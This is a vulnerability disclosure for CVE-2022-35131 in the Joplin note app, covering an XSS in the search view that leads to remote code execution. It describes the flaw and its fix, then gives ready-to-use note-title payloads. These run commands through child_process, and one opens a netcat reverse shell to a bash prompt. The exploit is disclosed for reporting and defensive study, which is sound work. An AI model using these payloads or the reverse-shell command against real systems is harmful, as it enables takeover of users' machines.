Joplin CVE-2022-35131

XSS leading to RCE in Joplin affecting version 2.8.8 and earlier. Tested and works on Windows and Linux.

Reported and fixed: 2022-06

Technical overview

1. Create a note with javascript payload as title (POC:s bellow)
2. Press Ctrl+P and search for something in the note or title
3. Payload is executed when shown in the search result
4. Remote code execution can be achieved by sharing the notebook

Problem is because dangerouslySetInnerHTML is used with unescaped user input in GotoAnything.tsx line 509. Fix by escaping user input.

return (
  <div key={item.id} className={isSelected ? 'selected' : null} style={rowStyle} onClick={this.listItem_onClick} data-id={item.id} data-parent-id={item.parent_id} data-type={item.type}>
    <div style={style.rowTitle} dangerouslySetInnerHTML={{ __html: titleHtml }}></div>
    {fragmentComp}
    {pathComp}
  </div>
);

POC

Space can not be used in payload, but encoded space \x20 can be used.

Example tile payloads:

# Payload 1 (Linux)
zzz<img src =q onerror=eval("require('child_process').exec('mate-calc');");>

# Payload 2 (Windows)
zzz<img src =q onerror=eval("require('child_process').exec('calc.exe');");>

# Reverse shell (Linux)
zzz<img src =q onerror=eval("require('child_process').exec('/bin/nc\x20-e\x20/bin/bash\x20127.0.0.1\x205000');");>

Search for zzz to execute payload.